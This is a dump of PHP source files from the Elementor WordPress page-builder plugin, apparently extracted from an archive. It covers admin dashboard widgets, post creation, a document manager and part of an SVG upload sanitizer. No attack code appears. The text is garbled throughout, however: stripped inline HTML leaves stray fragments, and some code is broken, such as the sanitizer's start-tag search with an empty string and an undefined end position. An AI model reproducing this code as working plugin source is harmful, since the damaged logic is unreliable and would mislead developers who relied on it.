{ $current_screen = get_current_screen(); $is_elementor_screen = ( $current_screen && false !== strpos( $current_screen->id, 'elementor' ) ); if ( $is_elementor_screen ) { $footer_text = sprintf( /* translators: 1: Elementor, 2: Link to plugin review */ __( 'Enjoyed %1$s? Please leave us a %2$s rating. We really appreciate your support!', 'elementor' ), '' . esc_html__( 'Elementor', 'elementor' ) . '', '★★★★★' ); } return $footer_text; } /** * Register dashboard widgets. * * Adds a new Elementor widgets to WordPress dashboard. * * Fired by `wp_dashboard_setup` action. * * @since 1.9.0 * @access public */ public function register_dashboard_widgets() { wp_add_dashboard_widget( 'e-dashboard-overview', esc_html__( 'Elementor Overview', 'elementor' ), [ $this, 'elementor_dashboard_overview_widget' ] ); // Move our widget to top. global $wp_meta_boxes; $dashboard = $wp_meta_boxes['dashboard']['normal']['core']; $ours = [ 'e-dashboard-overview' => $dashboard['e-dashboard-overview'], ]; $wp_meta_boxes['dashboard']['normal']['core'] = array_merge( $ours, $dashboard ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited } /** * Displays the Elementor dashboard widget. * * Fired by `wp_add_dashboard_widget` function. * * @since 1.9.0 * @access public */ public function elementor_dashboard_overview_widget() { ?>
v
have_posts() ) { ?>

    have_posts() ) { $recently_edited_query->the_post(); $document = Plugin::$instance->documents->get( get_the_ID() ); $date = date_i18n( _x( 'M jS', 'Dashboard Overview Widget Recently Date', 'elementor' ), get_the_modified_time( 'U' ) ); ?>
  • ,
0 ) { $elementor_feed = array_slice( $elementor_feed, 0, $limit_feed ); } if ( ! empty( $elementor_feed ) ) { ?> [ 'title' => esc_html__( 'Blog', 'elementor' ), 'link' => 'https://go.elementor.com/overview-widget-blog/', ], 'help' => [ 'title' => esc_html__( 'Help', 'elementor' ), 'link' => 'https://go.elementor.com/overview-widget-docs/', ], ]; $additions_actions = []; if ( User::get_introduction_meta( 'ai_get_started' ) ) { $additions_actions['ai-library'] = [ 'title' => esc_html__( 'AI Prompts Library', 'elementor' ), 'link' => 'https://go.elementor.com/overview-ai-prompts-library/', ]; } else { $additions_actions['ai'] = [ 'title' => esc_html__( 'Build Smart with AI', 'elementor' ), 'link' => 'https://go.elementor.com/overview-widget-ai/', ]; } $additions_actions['go-pro'] = [ 'title' => esc_html__( 'Upgrade', 'elementor' ), 'link' => 'https://go.elementor.com/go-pro-wp-overview-widget/', ]; /** * Dashboard widget footer actions. * * Filters the additions actions displayed in Elementor dashboard widget. * * Developers can add new action links to Elementor dashboard widget * footer using this filter. * * @since 1.9.0 * * @param array $additions_actions Elementor dashboard widget footer actions. */ $additions_actions = apply_filters( 'elementor/admin/dashboard_overview_widget/footer_actions', $additions_actions ); $actions = $base_actions + $additions_actions; return $actions; } /** * Get elementor dashboard overview widget footer actions. * * Retrieves the footer action links displayed in elementor dashboard widget. * * @since 1.9.0 * @access private */ private function get_dashboard_overview_widget_footer_actions() { return self::static_get_dashboard_overview_widget_footer_actions(); } /** * Admin action new post. * * When a new post action is fired the title is set to 'Elementor' and the post ID. * * Fired by `admin_action_elementor_new_post` action. * * @since 1.9.0 * @access public */ public function admin_action_new_post() { check_admin_referer( 'elementor_action_new_post' ); $post_type = Utils::get_super_global_value( $_GET, 'post_type' ) ?? 'post'; if ( ! User::is_current_user_can_edit_post_type( $post_type ) ) { return; } if ( empty( $_GET['template_type'] ) ) { $type = 'post'; } else { $type = sanitize_text_field( wp_unslash( $_GET['template_type'] ) ); } $post_data = Utils::get_super_global_value( $_GET, 'post_data' ) ?? []; /** * Create new post meta data. * * Filters the meta data of any new post created. * * @since 2.0.0 * * @param array $meta Post meta data. */ $meta = []; if ( isset( $_GET['meta'] ) && is_array( $_GET['meta'] ) ) { $meta = array_map( 'sanitize_text_field', wp_unslash( $_GET['meta'] ) ); } $meta = apply_filters( 'elementor/admin/create_new_post/meta', $meta ); $post_data['post_type'] = $post_type; $document = Plugin::$instance->documents->create( $type, $post_data, $meta ); if ( is_wp_error( $document ) ) { wp_die( $document ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } wp_redirect( $document->get_edit_url() ); die; } /** * @since 2.3.0 * @access public */ public function add_new_template_template() { Plugin::$instance->common->add_template( ELEMENTOR_PATH . 'includes/admin-templates/new-template.php' ); } public function add_new_floating_elements_template() { Plugin::$instance->common->add_template( ELEMENTOR_PATH . 'includes/admin-templates/new-floating-elements.php' ); } public function enqueue_new_floating_elements_scripts() { $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; wp_enqueue_script( 'elementor-floating-elements-modal', ELEMENTOR_ASSETS_URL . 'js/floating-elements-modal' . $suffix . '.js', [], ELEMENTOR_VERSION, true ); wp_set_script_translations( 'elementor-floating-elements-modal', 'elementor' ); } /** * @access public */ public function enqueue_new_template_scripts() { $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; wp_enqueue_script( 'elementor-new-template', ELEMENTOR_ASSETS_URL . 'js/new-template' . $suffix . '.js', [], ELEMENTOR_VERSION, true ); wp_set_script_translations( 'elementor-new-template', 'elementor' ); } /** * @since 2.6.0 * @access public */ public function add_beta_tester_template() { Plugin::$instance->common->add_template( ELEMENTOR_PATH . 'includes/admin-templates/beta-tester.php' ); } /** * @access public */ public function enqueue_beta_tester_scripts() { $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; wp_enqueue_script( 'elementor-beta-tester', ELEMENTOR_ASSETS_URL . 'js/beta-tester' . $suffix . '.js', [], ELEMENTOR_VERSION, true ); wp_set_script_translations( 'elementor-beta-tester', 'elementor' ); } public function init_floating_elements() { $screens = [ 'elementor_library_page_e-floating-buttons' => true, 'edit-e-floating-buttons' => true, ]; if ( ! isset( $screens[ get_current_screen()->id ] ) ) { return; } add_action( 'admin_head', [ $this, 'add_new_floating_elements_template' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_new_floating_elements_scripts' ] ); } /** * @access public */ public function init_new_template() { if ( 'edit-elementor_library' !== get_current_screen()->id ) { return; } // Allow plugins to add their templates on admin_head. add_action( 'admin_head', [ $this, 'add_new_template_template' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_new_template_scripts' ] ); } public function version_update_warning( $current_version, $new_version ) { $current_version_minor_part = explode( '.', $current_version )[1]; $new_version_minor_part = explode( '.', $new_version )[1]; if ( $current_version_minor_part === $new_version_minor_part ) { return; } ?>
', '' ); ?>
base ) || 'elementor_page_elementor-tools' === $current_screen->id ) { add_action( 'admin_head', [ $this, 'add_beta_tester_template' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_beta_tester_scripts' ] ); } } /** * Admin constructor. * * Initializing Elementor in WordPress admin. * * @since 1.0.0 * @access public */ public function __construct() { Plugin::$instance->init_common(); $this->add_component( 'feedback', new Feedback() ); $this->add_component( 'admin-notices', new Admin_Notices() ); add_action( 'admin_init', [ $this, 'maybe_redirect_to_getting_started' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_scripts' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_styles' ] ); add_action( 'edit_form_after_title', [ $this, 'print_switch_mode_button' ] ); add_action( 'save_post', [ $this, 'save_post' ] ); add_filter( 'display_post_states', [ $this, 'add_elementor_post_state' ], 10, 2 ); add_filter( 'plugin_action_links_' . ELEMENTOR_PLUGIN_BASE, [ $this, 'plugin_action_links' ] ); add_filter( 'plugin_row_meta', [ $this, 'plugin_row_meta' ], 10, 2 ); add_filter( 'admin_body_class', [ $this, 'body_status_classes' ] ); add_filter( 'admin_footer_text', [ $this, 'admin_footer_text' ] ); // Register Dashboard Widgets. add_action( 'wp_dashboard_setup', [ $this, 'register_dashboard_widgets' ] ); // Admin Actions add_action( 'admin_action_elementor_new_post', [ $this, 'admin_action_new_post' ] ); add_action( 'current_screen', [ $this, 'init_new_template' ] ); add_action( 'current_screen', [ $this, 'init_floating_elements' ] ); add_action( 'current_screen', [ $this, 'init_beta_tester' ] ); add_action( 'in_plugin_update_message-' . ELEMENTOR_PLUGIN_BASE, function( $plugin_data ) { $this->version_update_warning( ELEMENTOR_VERSION, $plugin_data['new_version'] ); } ); add_action( 'elementor/ajax/register_actions', [ $this, 'register_ajax_hints' ] ); } /** * @since 2.3.0 * @access protected */ protected function get_init_settings() { $beta_tester_email = get_user_meta( get_current_user_id(), User::BETA_TESTER_META_KEY, true ); $elementor_beta = get_option( 'elementor_beta', 'no' ); $all_introductions = User::get_introduction_meta(); $beta_tester_signup_dismissed = array_key_exists( Beta_Testers::BETA_TESTER_SIGNUP, $all_introductions ); $settings = [ 'home_url' => home_url(), 'settings_url' => Settings::get_url(), 'user' => [ 'introduction' => User::get_introduction_meta(), 'restrictions' => Plugin::$instance->role_manager->get_user_restrictions_array(), 'is_administrator' => current_user_can( 'manage_options' ), ], 'beta_tester' => [ 'beta_tester_signup' => Beta_Testers::BETA_TESTER_SIGNUP, 'has_email' => $beta_tester_email, 'option_enabled' => 'no' !== $elementor_beta, 'signup_dismissed' => $beta_tester_signup_dismissed, ], 'experiments' => $this->get_experiments(), ]; /** * Localize settings. * * Filters the initial localize settings in the admin. * * WordPress has it's own way to pass localized data from PHP (backend) to * JS (frontend). Elementor uses this method to pass localize data in the * admin. This hook can be used to add more localized settings in addition * to the initial Elementor settings. * * @since 2.3.0 * * @param array $settings Initial localize settings. */ $settings = apply_filters( 'elementor/admin/localize_settings', $settings ); return $settings; } private function get_experiments() { return ( new Collection( Plugin::$instance->experiments->get_features() ) ) ->map( function ( $experiment_data ) { $dependencies = $experiment_data['dependencies'] ?? []; $dependencies = ( new Collection( $dependencies ) ) ->map( function ( $dependency ) { return $dependency->get_name(); } )->all(); return [ 'name' => $experiment_data['name'], 'title' => $experiment_data['title'] ?? $experiment_data['name'], 'state' => $experiment_data['state'], 'default' => $experiment_data['default'], 'dependencies' => $dependencies, 'messages' => $experiment_data['messages'] ?? [], ]; } )->all(); } private function maybe_enqueue_hints() { if ( ! Hints::should_display_hint( 'image-optimization' ) ) { return; } wp_register_script( 'media-hints', $this->get_js_assets_url( 'media-hints' ), [], ELEMENTOR_VERSION, true ); $content = sprintf("%1\$s %3\$s!", __( 'Optimize your images to enhance site performance by using Image Optimizer.', 'elementor' ), Hints::get_plugin_action_url( 'image-optimization' ), ( Hints::is_plugin_installed( 'image-optimization' ) ? __( 'Activate', 'elementor' ) : __( 'Install', 'elementor' ) ) . ' ' . __( 'Image Optimizer', 'elementor' ) ); $dismissible = 'image_optimizer_hint'; wp_localize_script( 'media-hints', 'elementorAdminHints', [ 'mediaHint' => [ 'display' => true, 'type' => 'info', 'content' => $content, 'icon' => true, 'dismissible' => $dismissible, 'dismiss' => __( 'Dismiss this notice.', 'elementor' ), 'button_event' => $dismissible, 'button_data' => base64_encode( json_encode( [ 'action_url' => Hints::get_plugin_action_url( 'image-optimization' ), ] ), ), ], ] ); wp_enqueue_script( 'media-hints' ); } public function register_ajax_hints( $ajax_manager ) { $ajax_manager->register_ajax_action( 'elementor_image_optimization_campaign', [ $this, 'ajax_set_image_optimization_campaign' ] ); } public function ajax_set_image_optimization_campaign( $request ) { if ( empty( $request['source'] ) ) { return; } $campaign_data = [ 'source' => sanitize_key( $request['source'] ), 'campaign' => 'io-plg', 'medium' => 'wp-dash', ]; set_transient( 'elementor_image_optimization_campaign', $campaign_data, 30 * DAY_IN_SECONDS ); } } core/admin/notices/base-notice.php000064400000001003147206604650013136 0ustar00is_elementor_dev_installed() && ! $this->is_install_screen() && ( $this->is_promotion_plugins_installed() || $this->is_promotion_options_enabled() ); } /** * @inheritDoc */ public function get_config() { return [ 'id' => static::ID, 'title' => esc_html__( 'Elementor Developer Edition', 'elementor' ), 'description' => __( 'Get a sneak peek at our in progress development versions, and help us improve Elementor to perfection. Developer Edition releases contain experimental functionality for testing purposes.', 'elementor' ), 'button' => [ 'text' => esc_html__( 'Install & Activate', 'elementor' ), 'url' => wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=' . static::PLUGIN_SLUG ), 'install-plugin_' . static::PLUGIN_SLUG ), 'type' => 'cta', ], ]; } /** * Return all the plugins names. * * This method is protected so it can be mocked in tests. * * @return array */ protected function get_plugins() { if ( ! $this->plugins ) { $this->plugins = array_keys( get_plugins() ); } return $this->plugins; } /** * Checks if elementor dev is installed * * @return bool */ private function is_elementor_dev_installed() { return in_array( static::PLUGIN_NAME, $this->get_plugins(), true ); } /** * Checks if the admin screen is install screen. * * @return bool */ private function is_install_screen() { $screen = get_current_screen(); if ( ! $screen ) { return false; } return 'update' === $screen->id; } /** * Checks if is one of the promotion plugins is installed * * @return bool */ private function is_promotion_plugins_installed() { return array_reduce( $this->promotion_plugins, function ( $should_show_notice, $plugin_name ) { if ( $should_show_notice ) { return true; } return in_array( $plugin_name, $this->get_plugins(), true ); }, false ); } /** * Checks if is one of the promotion options is enabled. * * @return bool */ private function is_promotion_options_enabled() { return array_reduce( $this->promotion_options, function ( $should_show_notice, $option ) { if ( $should_show_notice ) { return true; } return 'yes' === get_option( $option, 'no' ); }, false ); } /** * Checks if the current page is elementor settings page * * @return bool */ private function is_elementor_setting_page() { $current_screen = get_current_screen(); return $current_screen && 'toplevel_page_' . Settings::PAGE_ID === $current_screen->id; } } core/admin/ui/components/button.php000064400000004565147206604650013436 0ustar00get_options(); if ( empty( $options['text'] ) ) { return; } $html_tag = ! empty( $options['url'] ) ? 'a' : 'button'; $before = ''; $icon = ''; $attributes = []; if ( ! empty( $options['icon'] ) ) { $icon = ''; } $classes = $options['classes']; $default_classes = $this->get_default_options( 'classes' ); $classes = array_merge( $classes, $default_classes ); if ( ! empty( $options['type'] ) ) { $classes[] = 'e-button--' . $options['type']; } if ( ! empty( $options['variant'] ) ) { $classes[] = 'e-button--' . $options['variant']; } if ( ! empty( $options['before'] ) ) { $before = '' . wp_kses_post( $options['before'] ) . ''; } if ( ! empty( $options['url'] ) ) { $attributes['href'] = $options['url']; if ( $options['new_tab'] ) { $attributes['target'] = '_blank'; } } $attributes['class'] = $classes; $html = $before . '<' . $html_tag . ' ' . Utils::render_html_attributes( $attributes ) . '>'; $html .= $icon; $html .= '' . sanitize_text_field( $options['text'] ) . ''; $html .= ''; echo $html; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * @param string $option Optional default is null * @return array|mixed */ private function get_options( $option = null ) { return $this->get_items( $this->options, $option ); } /** * @param null $option * @return array */ private function get_default_options( $option = null ) { $default_options = [ 'classes' => [ 'e-button' ], 'icon' => '', 'new_tab' => false, 'text' => '', 'type' => '', 'url' => '', 'variant' => '', 'before' => '', ]; if ( null !== $option && -1 !== in_array( $option, $default_options ) ) { return $default_options[ $option ]; } return $default_options; } public function __construct( array $options ) { $this->options = $this->merge_properties( $this->get_default_options(), $options ); } } core/documents-manager.php000064400000045757147206604650011652 0ustar00register_ajax_action( 'save_builder', [ $this, 'ajax_save' ] ); $ajax_manager->register_ajax_action( 'discard_changes', [ $this, 'ajax_discard_changes' ] ); $ajax_manager->register_ajax_action( 'get_document_config', [ $this, 'ajax_get_document_config' ] ); } /** * Register default types. * * Registers the default document types. * * @since 2.0.0 * @access public */ public function register_default_types() { $default_types = [ 'post' => Post::get_class_full_name(), // BC. 'wp-post' => Post::get_class_full_name(), 'wp-page' => Page::get_class_full_name(), ]; foreach ( $default_types as $type => $class ) { $this->register_document_type( $type, $class ); } } /** * Register document type. * * Registers a single document. * * @since 2.0.0 * @access public * * @param string $type Document type name. * @param string $class The name of the class that registers the document type. * Full name with the namespace. * * @return Documents_Manager The updated document manager instance. */ public function register_document_type( $type, $class ) { $this->types[ $type ] = $class; $cpt = $class::get_property( 'cpt' ); if ( $cpt ) { foreach ( $cpt as $post_type ) { $this->cpt[ $post_type ] = $type; } } if ( $class::get_property( 'register_type' ) ) { Source_Local::add_template_type( $type ); } return $this; } /** * Get document. * * Retrieve the document data based on a post ID. * * @since 2.0.0 * @access public * * @param int $post_id Post ID. * @param bool $from_cache Optional. Whether to retrieve cached data. Default is true. * * @return false|Document Document data or false if post ID was not entered. */ public function get( $post_id, $from_cache = true ) { $this->register_types(); $post_id = absint( $post_id ); if ( ! $post_id || ! get_post( $post_id ) ) { return false; } /** * Retrieve document post ID. * * Filters the document post ID. * * @since 2.0.7 * * @param int $post_id The post ID of the document. */ $post_id = apply_filters( 'elementor/documents/get/post_id', $post_id ); if ( ! $from_cache || ! isset( $this->documents[ $post_id ] ) ) { $doc_type = $this->get_doc_type_by_id( $post_id ); $doc_type_class = $this->get_document_type( $doc_type ); $this->documents[ $post_id ] = new $doc_type_class( [ 'post_id' => $post_id, ] ); } return $this->documents[ $post_id ]; } /** * Retrieve a document after checking it exist and allowed to edit. * * @since 3.13.0 * * @param int $post_id The post ID of the document. * * @return Document * @throws \Exception */ public function get_with_permissions( $id ): Document { $document = $this->get( $id ); if ( ! $document ) { throw new \Exception( 'Not found.' ); } if ( ! $document->is_editable_by_current_user() ) { throw new \Exception( 'Access denied.' ); } return $document; } /** * A `void` version for `get_with_permissions`. * * @param $id * @return void * @throws \Exception */ public function check_permissions( $id ) { $this->get_with_permissions( $id ); } /** * Get document or autosave. * * Retrieve either the document or the autosave. * * @since 2.0.0 * @access public * * @param int $id Optional. Post ID. Default is `0`. * @param int $user_id Optional. User ID. Default is `0`. * * @return false|Document The document if it exist, False otherwise. */ public function get_doc_or_auto_save( $id, $user_id = 0 ) { $document = $this->get( $id ); if ( $document && $document->get_autosave_id( $user_id ) ) { $document = $document->get_autosave( $user_id ); } return $document; } /** * Get document for frontend. * * Retrieve the document for frontend use. * * @since 2.0.0 * @access public * * @param int $post_id Optional. Post ID. Default is `0`. * * @return false|Document The document if it exist, False otherwise. */ public function get_doc_for_frontend( $post_id ) { $preview_id = (int) Utils::get_super_global_value( $_GET, 'preview_id' ); $is_preview = is_preview() && $post_id === $preview_id; $is_nonce_verify = wp_verify_nonce( Utils::get_super_global_value( $_GET, 'preview_nonce' ), 'post_preview_' . $preview_id ); if ( ( $is_preview && $is_nonce_verify ) || Plugin::$instance->preview->is_preview_mode() ) { $document = $this->get_doc_or_auto_save( $post_id, get_current_user_id() ); } else { $document = $this->get( $post_id ); } return $document; } /** * Get document type. * * Retrieve the type of any given document. * * @since 2.0.0 * @access public * * @param string $type * * @param string $fallback * * @return Document|bool The type of the document. */ public function get_document_type( $type, $fallback = 'post' ) { $types = $this->get_document_types(); if ( isset( $types[ $type ] ) ) { return $types[ $type ]; } if ( isset( $types[ $fallback ] ) ) { return $types[ $fallback ]; } return false; } /** * Get document types. * * Retrieve the all the registered document types. * * @since 2.0.0 * @access public * * @param array $args Optional. An array of key => value arguments to match against * the properties. Default is empty array. * @param string $operator Optional. The logical operation to perform. 'or' means only one * element from the array needs to match; 'and' means all elements * must match; 'not' means no elements may match. Default 'and'. * * @return Document[] All the registered document types. */ public function get_document_types( $args = [], $operator = 'and' ) { $this->register_types(); if ( ! empty( $args ) ) { $types_properties = $this->get_types_properties(); $filtered = wp_filter_object_list( $types_properties, $args, $operator ); return array_intersect_key( $this->types, $filtered ); } return $this->types; } /** * Get document types with their properties. * * @return array A list of properties arrays indexed by the type. */ public function get_types_properties() { $types_properties = []; foreach ( $this->get_document_types() as $type => $class ) { $types_properties[ $type ] = $class::get_properties(); } return $types_properties; } /** * Create a document. * * Create a new document using any given parameters. * * @since 2.0.0 * @access public * * @param string $type Document type. * @param array $post_data An array containing the post data. * @param array $meta_data An array containing the post meta data. * * @return Document The type of the document. */ public function create( $type, $post_data = [], $meta_data = [] ) { $class = $this->get_document_type( $type, false ); if ( ! $class ) { return new \WP_Error( 500, sprintf( 'Type %s does not exist.', $type ) ); } if ( empty( $post_data['post_title'] ) ) { $post_data['post_title'] = esc_html__( 'Elementor', 'elementor' ); if ( 'post' !== $type ) { $post_data['post_title'] = sprintf( /* translators: %s: Document title. */ __( 'Elementor %s', 'elementor' ), call_user_func( [ $class, 'get_title' ] ) ); } $update_title = true; } $meta_data['_elementor_edit_mode'] = 'builder'; // Save the type as-is for plugins that hooked at `wp_insert_post`. $meta_data[ Document::TYPE_META_KEY ] = $type; $post_data['meta_input'] = $meta_data; $post_types = $class::get_property( 'cpt' ); if ( ! empty( $post_types[0] ) && empty( $post_data['post_type'] ) ) { $post_data['post_type'] = $post_types[0]; } $post_id = wp_insert_post( $post_data ); if ( ! empty( $update_title ) ) { $post_data['ID'] = $post_id; $post_data['post_title'] .= ' #' . $post_id; // The meta doesn't need update. unset( $post_data['meta_input'] ); wp_update_post( $post_data ); } /** @var Document $document */ $document = new $class( [ 'post_id' => $post_id, ] ); // Let the $document to re-save the template type by his way + version. $document->save( [] ); return $document; } /** * Remove user edit capabilities if document is not editable. * * Filters the user capabilities to disable editing in admin. * * @param array $allcaps An array of all the user's capabilities. * @param array $caps Actual capabilities for meta capability. * @param array $args Optional parameters passed to has_cap(), typically object ID. * * @return array */ public function remove_user_edit_cap( $allcaps, $caps, $args ) { global $pagenow; if ( ! in_array( $pagenow, [ 'post.php', 'edit.php' ], true ) ) { return $allcaps; } // Don't touch not existing or not allowed caps. if ( empty( $caps[0] ) || empty( $allcaps[ $caps[0] ] ) ) { return $allcaps; } $capability = $args[0]; if ( 'edit_post' !== $capability ) { return $allcaps; } if ( empty( $args[2] ) ) { return $allcaps; } $post_id = $args[2]; $document = Plugin::$instance->documents->get( $post_id ); if ( ! $document ) { return $allcaps; } $allcaps[ $caps[0] ] = $document::get_property( 'is_editable' ); return $allcaps; } /** * Filter Post Row Actions. * * Let the Document to filter the array of row action links on the Posts list table. * * @param array $actions * @param \WP_Post $post * * @return array */ public function filter_post_row_actions( $actions, $post ) { $document = $this->get( $post->ID ); if ( $document ) { $actions = $document->filter_admin_row_actions( $actions ); } return $actions; } /** * Save document data using ajax. * * Save the document on the builder using ajax, when saving the changes, and refresh the editor. * * @since 2.0.0 * @access public * * @param $request Post ID. * * @throws \Exception If current user don't have permissions to edit the post or the post is not using Elementor. * * @return array The document data after saving. */ public function ajax_save( $request ) { $document = $this->get( $request['editor_post_id'] ); if ( ! $document->is_built_with_elementor() || ! $document->is_editable_by_current_user() ) { throw new \Exception( 'Access denied.' ); } $this->switch_to_document( $document ); // Set the post as global post. Plugin::$instance->db->switch_to_post( $document->get_post()->ID ); $status = Document::STATUS_DRAFT; if ( isset( $request['status'] ) && in_array( $request['status'], [ Document::STATUS_PUBLISH, Document::STATUS_PRIVATE, Document::STATUS_PENDING, Document::STATUS_AUTOSAVE ], true ) ) { $status = $request['status']; } if ( Document::STATUS_AUTOSAVE === $status ) { // If the post is a draft - save the `autosave` to the original draft. // Allow a revision only if the original post is already published. if ( in_array( $document->get_post()->post_status, [ Document::STATUS_PUBLISH, Document::STATUS_PRIVATE ], true ) ) { $document = $document->get_autosave( 0, true ); } } // Set default page template because the footer-saver doesn't send default values, // But if the template was changed from canvas to default - it needed to save. if ( Utils::is_cpt_custom_templates_supported() && ! isset( $request['settings']['template'] ) ) { $request['settings']['template'] = 'default'; } $data = [ 'elements' => $request['elements'], 'settings' => $request['settings'], ]; $document->save( $data ); $post = $document->get_post(); $main_post = $document->get_main_post(); // Refresh after save. $document = $this->get( $post->ID, false ); $return_data = [ 'status' => $post->post_status, 'config' => [ 'document' => [ 'last_edited' => $document->get_last_edited(), 'urls' => [ 'wp_preview' => $document->get_wp_preview_url(), ], ], ], ]; $post_status_object = get_post_status_object( $main_post->post_status ); if ( $post_status_object ) { $return_data['config']['document']['status'] = [ 'value' => $post_status_object->name, 'label' => $post_status_object->label, ]; } /** * Returned documents ajax saved data. * * Filters the ajax data returned when saving the post on the builder. * * @since 2.0.0 * * @param array $return_data The returned data. * @param Document $document The document instance. */ $return_data = apply_filters( 'elementor/documents/ajax_save/return_data', $return_data, $document ); return $return_data; } /** * Ajax discard changes. * * Load the document data from an autosave, deleting unsaved changes. * * @param $request * * @return bool True if changes discarded, False otherwise. * @throws \Exception * * @since 2.0.0 * @access public * */ public function ajax_discard_changes( $request ) { $document = $this->get_with_permissions( $request['editor_post_id'] ); $autosave = $document->get_autosave(); if ( $autosave ) { $success = $autosave->delete(); } else { $success = true; } return $success; } public function ajax_get_document_config( $request ) { $post_id = absint( $request['id'] ); Plugin::$instance->editor->set_post_id( $post_id ); $document = $this->get_doc_or_auto_save( $post_id ); if ( ! $document ) { throw new \Exception( 'Not found.' ); } if ( ! $document->is_editable_by_current_user() ) { throw new \Exception( 'Access denied.' ); } // Set the global data like $post, $authordata and etc Plugin::$instance->db->switch_to_post( $post_id ); $this->switch_to_document( $document ); // Change mode to Builder $document->set_is_built_with_elementor( true ); $doc_config = $document->get_config(); return $doc_config; } /** * Switch to document. * * Change the document to any new given document type. * * @since 2.0.0 * @access public * * @param Document $document The document to switch to. */ public function switch_to_document( $document ) { // If is already switched, or is the same post, return. if ( $this->current_doc === $document ) { $this->switched_data[] = false; return; } $this->switched_data[] = [ 'switched_doc' => $document, 'original_doc' => $this->current_doc, // Note, it can be null if the global isn't set ]; $this->current_doc = $document; } /** * Restore document. * * Rollback to the original document. * * @since 2.0.0 * @access public */ public function restore_document() { $data = array_pop( $this->switched_data ); // If not switched, return. if ( ! $data ) { return; } $this->current_doc = $data['original_doc']; } /** * Get current document. * * Retrieve the current document. * * @since 2.0.0 * @access public * * @return Document The current document. */ public function get_current() { return $this->current_doc; } public function localize_settings( $settings ) { $translations = []; foreach ( $this->get_document_types() as $type => $class ) { $translations[ $type ] = $class::get_title(); } return array_replace_recursive( $settings, [ 'i18n' => $translations, ] ); } private function register_types() { if ( ! did_action( 'elementor/documents/register' ) ) { /** * Register Elementor documents. * * @since 2.0.0 * * @param Documents_Manager $this The document manager instance. */ do_action( 'elementor/documents/register', $this ); } } /** * Get create new post URL. * * Retrieve a custom URL for creating a new post/page using Elementor. * * @param string $post_type Optional. Post type slug. Default is 'page'. * @param string|null $template_type Optional. Query arg 'template_type'. Default is null. * * @return string A URL for creating new post using Elementor. */ public static function get_create_new_post_url( $post_type = 'page', $template_type = null ) { $query_args = [ 'action' => 'elementor_new_post', 'post_type' => $post_type, ]; if ( $template_type ) { $query_args['template_type'] = $template_type; } $new_post_url = add_query_arg( $query_args, admin_url( 'edit.php' ) ); $new_post_url = add_query_arg( '_wpnonce', wp_create_nonce( 'elementor_action_new_post' ), $new_post_url ); return $new_post_url; } private function get_doc_type_by_id( $post_id ) { // Auto-save inherits from the original post. if ( wp_is_post_autosave( $post_id ) ) { $post_id = wp_get_post_parent_id( $post_id ); } // Content built with Elementor. $template_type = get_post_meta( $post_id, Document::TYPE_META_KEY, true ); if ( $template_type && isset( $this->types[ $template_type ] ) ) { return $template_type; } // Elementor installation on a site with existing content (which doesn't contain Elementor's meta). $post_type = get_post_type( $post_id ); return $this->cpt[ $post_type ] ?? 'post'; } } core/utils/svg/svg-sanitizer.php000064400000034403147206604650012767 0ustar00is_encoded( $original_content ); if ( $is_encoded ) { $decoded = $this->decode_svg( $original_content ); if ( false === $decoded ) { return false; } $original_content = $decoded; } $valid_svg = $this->sanitize( $original_content ); if ( false === $valid_svg ) { return false; } // If we were gzipped, we need to re-zip if ( $is_encoded ) { $valid_svg = $this->encode_svg( $valid_svg ); } file_put_contents( $filename, $valid_svg ); return true; } /** * Sanitize * * @since 3.16.0 * @access public * * @param $content * @return bool|string */ public function sanitize( $content ) { // Strip php tags $content = $this->strip_comments( $content ); $content = $this->strip_php_tags( $content ); $content = $this->strip_line_breaks( $content ); // Find the start and end tags so we can cut out miscellaneous garbage. $start = strpos( $content, '' ); if ( false === $start || false === $end ) { return false; } $content = substr( $content, $start, ( $end - $start + 6 ) ); // If the server's PHP version is 8 or up, make sure to Disable the ability to load external entities $php_version_under_eight = version_compare( PHP_VERSION, '8.0.0', '<' ); if ( $php_version_under_eight ) { $libxml_disable_entity_loader = libxml_disable_entity_loader( true ); // phpcs:ignore Generic.PHP.DeprecatedFunctions.Deprecated } // Suppress the errors $libxml_use_internal_errors = libxml_use_internal_errors( true ); // Create DomDocument instance $this->svg_dom = new \DOMDocument(); $this->svg_dom->formatOutput = false; $this->svg_dom->preserveWhiteSpace = false; $this->svg_dom->strictErrorChecking = false; $open_svg = $this->svg_dom->loadXML( $content ); if ( ! $open_svg ) { return false; } $this->strip_doctype(); $this->sanitize_elements(); // Export sanitized svg to string // Using documentElement to strip out svg_dom->saveXML( $this->svg_dom->documentElement, LIBXML_NOEMPTYTAG ); // Restore defaults if ( $php_version_under_eight ) { libxml_disable_entity_loader( $libxml_disable_entity_loader ); // phpcs:ignore Generic.PHP.DeprecatedFunctions.Deprecated } libxml_use_internal_errors( $libxml_use_internal_errors ); return $sanitized; } /** * Is Encoded * * Check if the contents of the SVG file are gzipped * @see http://www.gzip.org/zlib/rfc-gzip.html#member-format * * @since 3.16.0 * @access private * * @param $contents * * @return bool */ private function is_encoded( $contents ) { $needle = "\x1f\x8b\x08"; if ( function_exists( 'mb_strpos' ) ) { return 0 === mb_strpos( $contents, $needle ); } else { return 0 === strpos( $contents, $needle ); } } /** * Encode SVG * * @since 3.16.0 * @access private * * @param $content * @return string */ private function encode_svg( $content ) { return gzencode( $content ); } /** * Decode SVG * * @since 3.16.0 * @access private * * @param $content * * @return string */ private function decode_svg( $content ) { return gzdecode( $content ); } /** * Is Allowed Tag * * @since 3.16.0 * @access private * * @param $element * @return bool */ private function is_allowed_tag( $element ) { static $allowed_tags = false; if ( false === $allowed_tags ) { $allowed_tags = $this->get_allowed_elements(); } $tag_name = $element->tagName; // phpcs:ignore -- php DomDocument if ( ! in_array( strtolower( $tag_name ), $allowed_tags ) ) { $this->remove_element( $element ); return false; } return true; } /** * Remove Element * * Removes the passed element from its DomDocument tree * * @since 3.16.0 * @access private * * @param 